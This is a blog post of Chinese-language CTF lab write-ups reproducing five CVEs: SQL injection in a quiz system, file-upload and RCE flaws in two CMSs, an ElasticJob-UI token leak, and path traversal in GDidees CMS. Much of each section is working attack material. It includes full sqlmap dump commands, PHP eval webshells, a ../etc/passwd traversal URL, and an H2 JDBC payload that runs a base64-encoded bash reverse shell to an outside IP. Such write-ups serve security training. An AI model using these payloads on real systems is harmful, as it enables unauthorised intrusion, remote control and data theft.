CVE复现记

CVE-2022-32991

描述:Web Based Quiz System SQL注入

介绍:该CMS的welcome.php中存在SQL注入攻击。

打开页面如下,是一个登录框,根据提示我们需要进入到welcome界面

我们随便在注册界面注册账号密码,然后登陆进去就可以看到welcome.php页面

可以在ranking页面看到其他人的一个账号密码,且初步判断注入点是一个GET传参的类型。且跟据CVE官方:在welcome.php,发现基于 Web 的测验系统 v1.0 通过 eid 参数包含一个 SQL 注入漏洞。而我们在这里的一个参数并不是eid,且用sqlmap工具探测出确实q并不是注入点:

继续查找其他页面,点击第一栏Start进行跳转:发现存在welcome.php和eid参数

那么我们在这个页面抓包测试一下

然后用sqlmap工具跑一下,并记录sqlmap攻击所需要的HTTP头部请求参数

--cookie="PHPSESSID=injte53o58ftd9dje6ng99o3je"
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0"
且注意指明攻击参数为eid

原因:由于该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。

完整payload如下:

python sqlmap.py -u"http://eci-2ze8ok0f10nun6tjper9.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0" --cookie="PHPSESSID=injte53o58ftd9dje6ng99o3je" --batch --dbs
(注释:--batch   #默认后续sqlmap操作都为Y)

可以获取到对应的数据库名称有四个,接下来我们进行爆表攻击

python sqlmap.py -u"http://eci-2ze8ok0f10nun6tjper9.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0" --cookie="PHPSESSID=injte53o58ftd9dje6ng99o3je" --batch -D "ctf" --tables

可以开电脑对应的有九个表,于是我们尝试对flag表进行字段爆破

python sqlmap.py -u"http://eci-2ze8ok0f10nun6tjper9.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0" --cookie="PHPSESSID=injte53o58ftd9dje6ng99o3je" --batch -D "ctf" -T "flag" --columns

可以看到存在只一个列名flag,对该列名值进行爆

python sqlmap.py -u"http://eci-2ze8ok0f10nun6tjper9.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0" --cookie="PHPSESSID=injte53o58ftd9dje6ng99o3je" --batch -D "ctf" -T "flag" -C "flag" --dump
拿到flag:flag{be7a7911-9a61-4f35-82af-bfe1ded552dd}

同时我们也可以进行手工注入,手工注入只是比较复杂,不过payload在sqlmap工具也给出了相应payload

可以参考:WEB检测系统v1.0 SQL注入实战全过程CVE-2022-32991 写的很详细全面

CVE-2022-28525

描述:ED01CMSv20180505存在任意文件上传漏洞

靶标介绍:ED01-CMS v20180505 存在任意文件上传漏洞

打开网页,可以发现许多功能点都是不存在的,然后尝试注册,发现失败,于是扫描一下后台

依次访问可以找到一个类似网站管理员后台的页面,且被提示称没有管理员权限

于是尝试弱密码登陆,发现admin/admin可以登陆成功,也可以使用暴力破解。登陆成功后:

寻找上传点,对admin账号进行编辑,上传木马

随便上传一个php文件可以发现存在拦截。于是抓包上传图片马,使用burp抓包工具进行抓包修改png后缀为php后缀

<?php @eval($_POST['r00ts']);?>

上传后右击图片,打开标签图片查看路径。然后用蚁剑连接即可找到flag

CVE-2022-25099

描述:WBCE CMS v1.5.2 RCE

靶标介绍:WBCE CMS v1.5.2 /language/install.php 文件存在漏洞,攻击者可精心构造文件上传造成RCE

打开靶场,没有什么有用信息,利用御剑后台扫描工具,扫出文件:

打开其中的登陆admin/login/,可以进入登陆页面,尝试弱口令admin/123456,即可登陆

在 Add-ons 中找到 Languages,点进去可以看到上传文件接口,选择一句话木马上传,并用BP抓包拦截将类型修改为图片

<?php @eval($_POST['root']);?>

显示无效的语言文件,修改我们的php代码试试。再次上传

<?php phpinfo();?>

可以看到上传成功并被成功解析,说明此处应该能执行上传文件中的php代码,我们尝试在此处用命令读取flag文件,利用php的一个函数system来执行系统命令,从而实现读取系统文件。

<?php
system('cat /flag');     读取根目录下的flag文件
phpinfo();
?>

然后抓包,重复上述步骤修改content-type,然后即可读取flag文件

CVE-2022-22733

描述:Apache ShardingSphere ElasticJob UI 敏感信息泄漏漏洞

靶标介绍:Apache ShardingSphere ElasticJob-UI由于返回 token 中包含了管理员密码,攻击者可利用该漏洞在授权的情况下,构造恶意数据执行权限绕过攻击,最终获取服务器最高权限。

打开界面啥也没有,没有任何提示,也没有提示登录的用户名密码,那就burpsuit爆破,抓后台登陆包,扔到爆破模块,粘贴自己生成的字典集,开始爆破。爆破成功,账号为guest,密码guest。

登陆进入后发现各种功能点均没有利用点,根据提示。说返回token中,到这页面没变化,没有法和服务器交互,那肯定就没有返回值了,唯一有交互的地方就是guest/guest登录界面有交互,于是在的登陆页面登陆时抓包。可以看到存在一个access_token的东西,提取解密

看起来很像base64解密,放入其中,可以看到token解密后泄露了root账户,我们利用信息进行登录

成功登陆进入管理员后台,点击各个功能点查看,可以在数据源中心看到如下连接内容:

这个驱动是H2 数据库的 JDBC 驱动程序类,可以确定数据库是H2,又可以输入链接url,于是擦测这里是存在出网的远程连接的,那我们可以尝试使用反向shell

反向shell:

反向 Shell 经常被用于构造恶意数据执行权限绕过攻击。在网络安全领域,反向 Shell 是一种常见的技术,它允许攻击者从远程位置控制一个受害系统。这种技术通常用于绕过防火墙或其他网络安全措施,因为它是从受害者的系统向攻击者的控制端发起连接,而不是传统的直接攻击方式(攻击者直接连接到受害者系统)。由于许多防火墙和安全系统配置为允许出站连接而阻止未经请求的入站连接,反向 Shell 可以有效绕过这些安全措施。

在权限绕过攻击中,攻击者首先需要找到一种方式将恶意代码(如反向 Shell 脚本)注入到目标系统中。这可以通过多种方式实现,包括但不限于:利用软件漏洞、钓鱼攻击、或者社会工程学技巧。一旦恶意代码被执行,它会尝试建立一个连接回攻击者指定的服务器或机器上的监听端口。

这种攻击方式的危险之处在于,它允许攻击者远程执行命令,获取敏感信息,甚至可能升级权限来获取对整个系统的控制。这就是为什么反向 Shell 是黑帽黑客和网络攻击者常用的工具之一。

我们在kali上启用NC监听一个临时端口,用于连接测试

nc -lvp 9998
-l 开启监听
-p 指定一个端口
-v 显示详细输出
-e 指定对应的应用程序
-n nc不要DNS反向查询IP的域名
-z 连接成功后立即关闭连接

随后我们在kali上简单部署一个web服务,用于被链接,从而实现反向弹shell

sudo systemctl start apache2
kali上应该默认安装了apache和php服务,可以用apache/php -v来验证

启动之后我们在kali网站根目录下构造恶意H2数据库SQL代码用于反向链接

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('bash -c {echo,xxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}') 
注意:xxxxxxxxxxxxxxxxxxx要换成“bash -i >& /dev/tcp/127.0.0.1/9998 0>&1”的base编码,随便你找个工具encode下,127.0.0.1/9998是我的nc监听回显端口
即:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')

1、CREATE ALIAS EXEC AS ...:这条语句创建了一个名为 EXEC 的别名,其背后的 Java 方法允许执行外部命令。这个 Java 方法定义了一个名为 shellexec 的函数,该函数接受一个字符串参数 cmd(代表要执行的命令),使用 Runtime.getRuntime().exec(cmd); 执行该命令,然后返回字符串 "123"。这种方式可以让 SQL 调用操作系统级的命令,增加了安全风险。

2、CALL EXEC ('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}'):这是一个调用 EXEC 函数的 SQL 命令,执行一个复合的 bash 命令。这个命令做了以下几步:

3、echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OCAwPiYx:这部分使用 echo 输出一个 Base64 编码的字符串。
base64 -d:这部分将上一步的输出解码。解码的内容是一个 bash 命令:bash -i >& /dev/tcp/127.0.0.1/9998 0>&1,这条命令尝试创建一个反向 shell,连接到本地机器的 9998 端口(这就是前边我NC监听用的是9998需要同步起来,反弹shell是要在你监听的端口回显的)。
bash -i:这部分指示 bash 以交互模式执行解码后的命令。

其中:bash -i >& /dev/tcp/127.0.0.1/9998 0>&1
这行命令是在使用 Bash shell 创建一个反向 shell,向目标主机和端口建立 TCP 连接,并且将 Bash shell 的输入输出重定向到这个连接中。
bash -i:启动 Bash 并使其运行在交互模式下,这样可以执行命令并接收输入
>&:这是重定向操作符,用于将标准输出(STDOUT)重定向到其他位置
/dev/tcp/127.0.0.1/9998:这是一个特殊的文件路径,利用 Bash 的内置功能来创建 TCP 连接。这里的 127.0.0.1 是本地回环地址,表示本机,9999 是目标端口号
0>&1:将标准输入(STDIN)重定向到标准输出(STDOUT)。这意味着来自 TCP 连接的输入(例如远程命令)将被 Bash 进程读取并执行

并将payload重名为shell.sql

随后我们只需要开始输入数据测试shell链接即可。

这里可以分别在虚拟机上、windows上、服务器上三种方式来进行监听与连接。

1、虚拟机

如果是在windows下的kali虚拟机中,则需要做端口流量转发:

参考:VMware做NAT端口转发(全网最详细步骤)_vmware端口转发-CSDN博客

个人博客中的钓鱼页面–VMware实现端口转发

2、本地:

也可以直接在windows本地上开启一个服务,用小皮开启一个80端口,用本地nc来监听。

将构造好的SQL代码重命名为shell.sql,放在小皮面板的根目录下,开启小皮服务保证其能被访问到

开始输入数据测试shell链接,数据库连接地址如下:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.191.105.208:80/shell.sql'
这里的是ip是我的主机ip

并且开始nc监听9998端口,然后等待连接成功即可

特别注意:链接的时候记得提前开放本地9998的端口,不然会出现连接不上主机,访问超时的后果

这个可以在windows防火墙中开启。

3、服务器(我采用的方法)

—在服务器中开启对应端口的安全组,我这里就是开启80端口和9998端口,允许入站出站(如果是Windows本地也是同样的做法,要用防火墙开启需要使用的端口)

—在服务器中上传shell.php到对应根目录下

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Ni42NS4yLzk5OTggMD4mMQ==}|{base64,-d}|{bash,-i}')
YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Ni42NS4yLzk5OTggMD4mMQ==解密为 bash -i >& /dev/tcp/8.156.65.2/9998 0>&1

—在服务器上开启端口9998监听

nc -lvp 9998

—测试连接

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://8.156.65.2:80/shell.sql'

注:我这里在链接的时候,报错了提示EXCE函数已经存在,于是我手动更换成了

CREATE ALIAS TEST AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL TEST ('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1Ni42NS4yLzk5OTggMD4mMQ==}|{base64,-d}|{bash,-i}')

—利用shell获取flag

点击Confirm进行连接,连接成功之后,即可读取flag文件

CVE-2023-27179

描述:GDidees CMS任意文件读取

靶标介绍:GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。

打开靶场,根据提示直接访问

http://eci-2ze7aqpjg873cd2tz2uo.cloudeci1.ichunqiu.com/_admin/imgdownload.php?filename=../../../../../../etc/passwd

多次测试发现下载文件均以png结尾,抓包测试一下,可以看到如下回显

说明我们的passwrod是能被正常下载的,只是格式被替换成了PNG,那么我们直接抓包测试下载flag文件

或者用curl测试也可以

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇